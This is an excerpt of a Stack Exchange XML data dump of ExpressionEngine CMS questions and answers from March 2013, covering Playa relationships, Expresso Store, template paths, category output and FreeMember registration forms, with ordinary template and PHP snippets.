  <row Id="7400" PostTypeId="1" AcceptedAnswerId="7404" CreationDate="2013-03-15T19:55:36.377" Score="3" ViewCount="77" Body="&lt;p&gt;I'm wondering what the EE design pattern, or best practice, is for cross-references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a products channel that needs to be cross-referenced with a number of available colours, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I create an All Colours channel (contains all possible colours), and a Product Colours cross-reference channel, with relationships to the Products and All Colours channels? And let the user create the cross-reference by selecting the product and colour, then selecting the same product and another colour? Or is there a better way? (Please, please, tell me there's a better way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to writing add-ons. In fact, I'm researching that now. Not crazy about the hooks docs so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Thanks for the replies. You asked for more detail; so here it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colours are just one of the cross-references I'm dealing with. The colours just have to point to a colour swatch (image) for display purposes. So a category could be used. Plus, with the category fieldtype add-on, we can make that category a required field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as I said, we have other cross-references to deal with. Each product is in a product type category (and yes, they're implemented as categories). Each product type has an image associated with it. So far, just like the colours. But then the user decided that some product types might have two images, and the user needed to select which one would be associated with each product. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is making my hair turn grey. If Playa is the answer here, I'm happy to get it. But what are these tags you speak of? I haven't heard of them before. When I did a search, I got Channel Entries Tag, which is just the template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-03-15T23:30:38.880" LastActivityDate="2013-03-20T17:19:03.290" Title="Dealing With Cross-References in EE?" Tags="|ee2|bestpractice|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7401" PostTypeId="2" ParentId="7398" CreationDate="2013-03-15T20:00:21.567" Score="4" Body="&lt;p&gt;I have created several sites that sell tickets to classes and the like, using Exp:resso Store. It should work fine for what you want. You would want to add each event as a &quot;product&quot;, and you could use the product modifiers for different ticket levels if necessary (orchestra vs. balcony, etc.). If you set the modifier to use multiple SKUs you can accommodate differing numbers of tickets at each level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For printing tickets, you would want to set up a member account page (you could use Freemember or Zoo Visitor to make this process much easier) that lists all of a person's orders using the {exp:store:orders member_id=&quot;CURRENT_USER&quot;} tag pair. You will link from there to a new template that uses something like the following (assuming your link was constructed like: &lt;code&gt;{path=&quot;account/orders/{order_hash}/{entry_id}&quot;}&lt;/code&gt;) to get information about the event they registered for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders order_hash=&quot;{segment_3}&quot;}&#xA;  {items}{if entry_id == {segment_4}}&#xA;    {!-- Whatever information you want to display on your ticket --}&#xA;  {/if}{/items}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you could also link to that same template from the order confirmation page.&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2013-03-15T20:00:21.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7402" PostTypeId="2" ParentId="7400" CreationDate="2013-03-15T21:25:07.600" Score="3" Body="&lt;p&gt;I think we'd need a little more information on the content structure and how you want to output the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relationships are possible, but on first glance I'd probably look at using Tags for the colours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use categories for colours, then assign relevent products to each relevent category - that would allow you to browse by colour, or pull in a list of colours into a product.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-15T21:25:07.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7403" PostTypeId="2" ParentId="7399" CreationDate="2013-03-15T21:28:01.570" Score="-1" Body="&lt;p&gt;No, it can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a third-party add-on called Simple Registration&#xA;&lt;a href=&quot;http://wedoaddons.com/addon/simple-registration/documentation&quot; rel=&quot;nofollow&quot;&gt;http://wedoaddons.com/addon/simple-registration/documentation&lt;/a&gt;&#xA;that will do this, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TTFN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Travis&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-03-15T21:28:01.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7404" PostTypeId="2" ParentId="7400" CreationDate="2013-03-15T21:29:02.530" Score="2" Body="&lt;p&gt;Bluedreamer is right, using tags for your colors might work great. But if extra data needs to be stored along with your colors, then storing them as fully-fledged entries is probably better. * &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need colors to be entries, you could just use the following set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create two Channels: &quot;Products&quot; and &quot;Colors&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Assuming a product has many colors:&lt;/em&gt;&lt;br&gt;&#xA; In the Product Channel's custom field group create a custom field for the color relationship using &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;. Then, when editing a product entry you assign any colors (eg, create the relationships) using Playa's drop-panes mode. If you haven't tried it, Playa is very easy to use and has really flexible template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If the product only ever has one color:&lt;/em&gt;&lt;br&gt;&#xA;You could use the native Relationships field instead of Playa, but Playa also has a great single-select mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* As Travis pointed out in his comment on Bluedreamer's answer, Categories can hold extra data. So you could definitely consider using them for colors, but the interface and template tags for categories are more limiting than if you use Channel entries and Playa.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-03-20T17:19:03.290" LastActivityDate="2013-03-20T17:19:03.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7405" PostTypeId="2" ParentId="7397" CreationDate="2013-03-15T21:31:39.637" Score="1" Body="&lt;p&gt;You can't serve javascript via AJAX -- and the email address is being automatically encoded as Javascript to protect it from spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way around this is to turn off &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#automatically-turn-urls-and-email-addresses-into-links&quot; rel=&quot;nofollow&quot;&gt;Automatically turn URLs and email addresses into links?&lt;/a&gt;&quot; in the channel preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TTFN&#xA;Travis&lt;/p&gt;&#xA;" OwnerUserId="480" LastEditorUserId="28" LastEditDate="2013-03-15T21:45:32.930" LastActivityDate="2013-03-15T21:45:32.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7406" PostTypeId="2" ParentId="7369" CreationDate="2013-03-15T21:54:50.640" Score="3" Body="&lt;p&gt;Event listings and registration is do-able, most of the EE shopping cart addons support different prices per member group. I'd suggest &lt;a href=&quot;http://www.cartthrob.com&quot; rel=&quot;nofollow&quot;&gt;http://www.cartthrob.com&lt;/a&gt; here as it can be manipulated to work the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Business listings - straightforward in EE, use the Safecreacker module for front end add/edit by the logged in member. You can use EE's statuses for moderation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Membership management is the tricky bit and you'd probably need to write somnething custom to manage the stock control per member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newsletters - you could use EE's stock mailer or a 3rd party service like Mailchimp for added flexibility and features.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-15T21:54:50.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7408" PostTypeId="1" AcceptedAnswerId="7432" CreationDate="2013-03-15T21:58:55.673" Score="1" ViewCount="110" Body="&lt;p&gt;I'm using Expresso Store and having problems with store.js. It loads but returns an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: undefined is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On line 142.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built my store locally using Expresso Store and all is working with store.js loading and functioning correctly. I've then made a complete export of all files and DB to a remote staging server as a complete replica and everything is working apart from store.js. It is returning the above error and I can't add any items to my cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what the problem could be?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-17T17:14:04.273" Title="Problem with store.js" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7409" PostTypeId="1" CreationDate="2013-03-15T22:40:23.963" Score="2" ViewCount="4713" Body="&lt;p&gt;When saving a template I'm greeted with this rather familiar error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to save your template as a text file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's definitely the server path, since the permissions of the templates folder are set to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server path I'm working with looks rather peculiar though.&#xA;When printing the $_SERVER[&quot;SCRIPT_FILENAME&quot;], I get this in return:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;D:\WebSites\limited-cobe\www\test.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;notice the backslashes, instead of forward slashes.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm using this for my Basepath to Template File Directory, but apparently I'm still doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;D:/WebSites/limited-cobe/www/system/expressionengine/templates/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-03-17T23:27:39.030" Title="Unable to save your template as a text file" Tags="|ee2|path|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7410" PostTypeId="1" AcceptedAnswerId="7425" CreationDate="2013-03-15T22:59:11.083" Score="1" ViewCount="184" Body="&lt;p&gt;This is the second site I've had this problem on, but when I set a matrix field to low variables, I set the grouping I want, add a low variable to that group, but when I go to the entry, the dropdown in matrix is empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5, &lt;/li&gt;&#xA;&lt;li&gt;Low Variables 2.3.4&lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-03-17T13:27:41.770" Title="Low Variables aren't displaying in the Matrix dropdown" Tags="|matrix|low-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7411" PostTypeId="2" ParentId="7386" CreationDate="2013-03-15T23:13:54.710" Score="2" Body="&lt;p&gt;As EE parses &lt;code&gt;{ip_address}&lt;/code&gt; after advanced conditionals it easy enough to get that data parsed sooner. I haven't got Low Variables installed on this site otherwise I would use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you could add it as a variable to config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ipaddress'] = $_SERVER['REMOTE_ADDR'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or I've actually added to my bootstrap file but it achieves the same thing.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-03-15T23:13:54.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7412" PostTypeId="2" ParentId="7408" CreationDate="2013-03-15T23:26:46.100" Score="1" Body="&lt;p&gt;There are a few things that you can look at.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clear your cache in your browser&lt;/li&gt;&#xA;&lt;li&gt;Make sure that you are calling jQuery in your header area.&lt;/li&gt;&#xA;&lt;li&gt;Make sure all of your theme paths are correct.&lt;/li&gt;&#xA;&lt;li&gt;Reupload the store theme folder.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-15T23:26:46.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7413" PostTypeId="2" ParentId="7399" CreationDate="2013-03-16T03:29:46.623" Score="2" Body="&lt;p&gt;Yes, it can. You just need to make sure this is enabled in the ExpressionEngine settings, which FreeMember inherits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the ExpressionEngine Control Panel &gt; Members &gt; Preferences, and set &lt;em&gt;Require Member Account Activation?&lt;/em&gt; to &lt;em&gt;No activation required&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-16T03:29:46.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7414" PostTypeId="1" AcceptedAnswerId="7487" CreationDate="2013-03-16T06:13:32.417" Score="1" ViewCount="218" Body="&lt;p&gt;So I'm running into a issue and I'm completely stuck. I'm trying to use Php in the playa tags to get my associations. But, no matter what I do, I always get a mysql error, as if the php variable isn't set yet. In my template, I even created a plugin, to set that variable to the entry_id that I need to associate on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some sample code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my plugin, I can echo out $categoryEntryId and the value is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categoryEntryId = '{exp:getcategoryentryid category=&quot;{segment_3}&quot; parse=&quot;inward&quot;}';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is some sample code where the mysql error is happening. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;&amp;lt;?php echo $categoryEntryId;?&amp;gt;&quot; backspace=&quot;10&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will result in the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1064&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2&#xA;&#xA;SELECT DISTINCT(rel.parent_entry_id) AS entry_id FROM exp_playa_relationships rel WHERE rel.child_entry_id =&#xA;Filename: third_party/playa/mod.playa.php&#xA;&#xA;Line Number: 701&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if I change it to the following, it works fine. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;328&quot; backspace=&quot;10&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas on how I can resolve this issue? I started down the path on using the plugin, because earlier today, I was doing a query within the template, but had an issue with a naming conflict on the {title} tag for the result I just searched on, and the content within the {exp:playa} which also had to use the {title} tags.&lt;/p&gt;&#xA;" OwnerUserId="1182" LastEditorUserId="55" LastEditDate="2013-03-19T12:16:56.637" LastActivityDate="2013-11-28T12:31:34.750" Title="Cannot user php in Playa tags" Tags="|templates|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7415" PostTypeId="1" CreationDate="2013-03-16T08:52:34.090" Score="1" ViewCount="113" Body="&lt;p&gt;How can I  arrange it so that the current entry is included with the others, but in the correct order when using the coparents tag. Currently I have got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;h3&amp;gt;Other scenes&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;            {scene_preview}&amp;lt;img src=&quot;{url:Listing}&quot; alt=&quot;{title}&quot; class=&quot;{if '{entry_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}grey{/if}&quot; /&amp;gt;{/scene_preview}&#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;i class=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt; {if '{entry_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}&amp;lt;strong&amp;gt;Coming:&amp;lt;/strong&amp;gt;{/if} {entry_date format=&quot;%d %M&quot;} &amp;lt;span class=&quot;label label-success&quot;&amp;gt;&amp;lt;i class=&quot;icon-eye-open icon-white&quot;&amp;gt;&amp;lt;/i&amp;gt; Viewing&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {exp:playa:coparents field=&quot;movie_title&quot;}&#xA;            &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;                {if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;a href=&quot;{title_permalink='movie/scene'}&quot;&amp;gt;{/if}{scene_preview}&amp;lt;img src=&quot;{url:Listing}&quot; alt=&quot;{title}&quot; class=&quot;{if '{entry_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}grey{/if}&quot; /&amp;gt;{/scene_preview}{if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;h4&amp;gt;{if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;a href=&quot;{title_permalink='movie/scene'}&quot;&amp;gt;{/if}{title}{if '{entry_date format=&quot;%U&quot;}' &amp;lt; '{current_time format=&quot;%U&quot;}'}&amp;lt;/a&amp;gt;{/if}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt; {if '{entry_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'}&amp;lt;strong&amp;gt;Coming:&amp;lt;/strong&amp;gt;{/if} {entry_date format=&quot;%d %M&quot;}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:playa:coparents}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this solution is not ideal, as it puts the current entry being viewed at the beginning of the row and not in the original order. Can I include ALL entries with the same co-parent and display them in the original order?&lt;/p&gt;&#xA;" OwnerUserId="1183" LastEditorUserId="28" LastEditDate="2013-03-17T02:20:45.087" LastActivityDate="2013-04-10T04:14:01.980" Title="Playa Customisation: Include all entries for coparents tag" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7416" PostTypeId="1" AcceptedAnswerId="7424" CreationDate="2013-03-16T14:39:22.563" Score="1" ViewCount="152" Body="&lt;p&gt;I'm trying to allow the author of an entry to be searchable using expression engine's simple search form. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2013-03-16T22:58:28.763" Title="include author as searchable field in simple search" Tags="|search|simple-search|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7417" PostTypeId="1" AcceptedAnswerId="7418" CreationDate="2013-03-16T16:04:05.140" Score="1" ViewCount="268" Body="&lt;p&gt;I can't get the channel images button to show up in Wygwam. I'm running EE 2.5.3, Wygwam 2.7, and Channel Images 5.4.2. I have made sure to install the channel images plugin in the themes &gt; third party &gt; wygwam &gt; lib &gt; ckeditor &gt; plugins folder. There are no javascript errors being thrown. I've cleared my cache on browser and ee cms, and tried with a new configuration and existing one. The channel images and wygwam fields are in the same field group. I've performed a &quot;Run Module Updates&quot; in the Modules menu in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also noticed another error - which may be with my configuration or with your plugin, where if you go to Admin &gt; Channel Administration &gt; Channel Fields &gt; and edit your wygwam field, then click on &quot;Edit Configurations&quot; under editor configurations,  it takes you to a page that says &quot;the requested module could not be found&quot;. But if you go to edit the configurations from Addons &gt; Modules &gt; Wygwam &gt; Editor Configurations - it shows up properly. No errors are thrown in the console.&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2013-03-16T16:10:07.710" Title="DevDemon Channel Images Button not showing up in Wygwam" Tags="|wygwam|pixelandtonic|channel-images|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7418" PostTypeId="2" ParentId="7417" CreationDate="2013-03-16T16:10:07.710" Score="1" Body="&lt;p&gt;Ah - figured it out - the channel images button cannot be added to an editor configuration (it doesn't show up) - but it just shows up automatically in the configuration when you edit an entry. &lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2013-03-16T16:10:07.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7419" PostTypeId="1" AcceptedAnswerId="7420" CreationDate="2013-03-16T18:53:29.740" Score="2" ViewCount="112" Body="&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{categories}{category_name}, {/categories}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Outputting in a Entries Tag Pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to remove the comma from the last outputted category only. I am thinking an IF statement but am not really sure what would be appropriate for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="942" LastEditDate="2014-02-21T22:43:17.647" LastActivityDate="2014-02-21T22:43:17.647" Title="Affecting the last Category in a list" Tags="|categories|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7420" PostTypeId="2" ParentId="7419" CreationDate="2013-03-16T19:47:30.773" Score="4" Body="&lt;p&gt;What you want is the backspace parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Backspacing removes characters (including spaces and line breaks) from the last iteration of the loop.&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories backspace=&quot;2&quot;}{category_name}, {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-03-16T19:47:30.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7421" PostTypeId="2" ParentId="7385" CreationDate="2013-03-16T19:56:40.243" Score="2" Body="&lt;p&gt;It sounds to me like you're hard coding the fields without the values. Have you tried using the example in the &lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/register_tag.md&quot; rel=&quot;nofollow&quot;&gt;FreeMember docs&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:register return=&quot;account&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:email}&amp;lt;br /&amp;gt;&#xA;        {error:email}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:password}&amp;lt;br /&amp;gt;&#xA;        {error:password}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:password_confirm}&amp;lt;br /&amp;gt;&#xA;        {error:password_confirm}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        {field:accept_terms} &amp;lt;label for=&quot;accept_terms&quot;&amp;gt;Accept Terms&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {error:accept_terms}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:freemember:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-03-16T19:56:40.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7422" PostTypeId="2" ParentId="7394" CreationDate="2013-03-16T21:04:43.327" Score="1" Body="&lt;p&gt;I'm afraid that won't work, because those relationship variable pairs are parsed by the channel entries tag &lt;em&gt;before&lt;/em&gt; being captured by Stash. As the value of &lt;code&gt;{channel_short_name}&lt;/code&gt; cannot be known until the channel entries tag has been parsed you cannot dynamically determine the name of the variable pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do however is make the code inside the variable pairs into a snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {stash:st_rel_link_title}{title}{/stash:st_rel_link_title}&#xA;    {stash:st_rel_link_url}{page_url}{/stash:st_rel_link_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-03-16T21:04:43.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7423" PostTypeId="2" ParentId="7409" CreationDate="2013-03-16T21:44:32.883" Score="2" Body="&lt;p&gt;In the root of your site, i.e the same level as the index.php, create a file called info.php and put in there the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;echo $_SERVER['DOCUMENT_ROOT'];&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then using your browser, go to yoursite.com/info.php (obviously replace yoursite.com with whatever your url is for accessing your site) and put here whatever it outputs. Then, delete that file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, whatever it outputs, just add the rest of the template folders file path onto the end using the same slash direction that it outputs.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-03-16T21:44:32.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7424" PostTypeId="2" ParentId="7416" CreationDate="2013-03-16T22:58:28.763" Score="1" Body="&lt;p&gt;It should be possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE's stock advanced search form you can include a &quot;member name&quot; as a free text search field, see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/advanced.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/search/advanced.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to pull in precise names you could look at using a plugin to pull a list into the search form, eg &lt;a href=&quot;https://exp-resso.com/freemember&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/freemember&lt;/a&gt; - there may be other plugins you could use at &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com&lt;/a&gt; - failing that a simple SQL query should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that Solspace's Super search modile - &lt;a href=&quot;http://www.solspace.com/docs/super_search/search/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/search/&lt;/a&gt; - has the ability to include author information in searches.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-16T22:58:28.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7425" PostTypeId="2" ParentId="7410" CreationDate="2013-03-17T13:27:41.770" Score="2" Body="&lt;p&gt;Let me quote &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/fieldtype&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please note that only &lt;em&gt;non-hidden&lt;/em&gt; and variables with &lt;em&gt;early parsing&#xA;  disabled&lt;/em&gt; show up in the variable list in the Publish Form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This goes for Matrix fields as well. Make sure the variables you want to select from aren't hidden nor have early parsing enabled.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-03-17T13:27:41.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
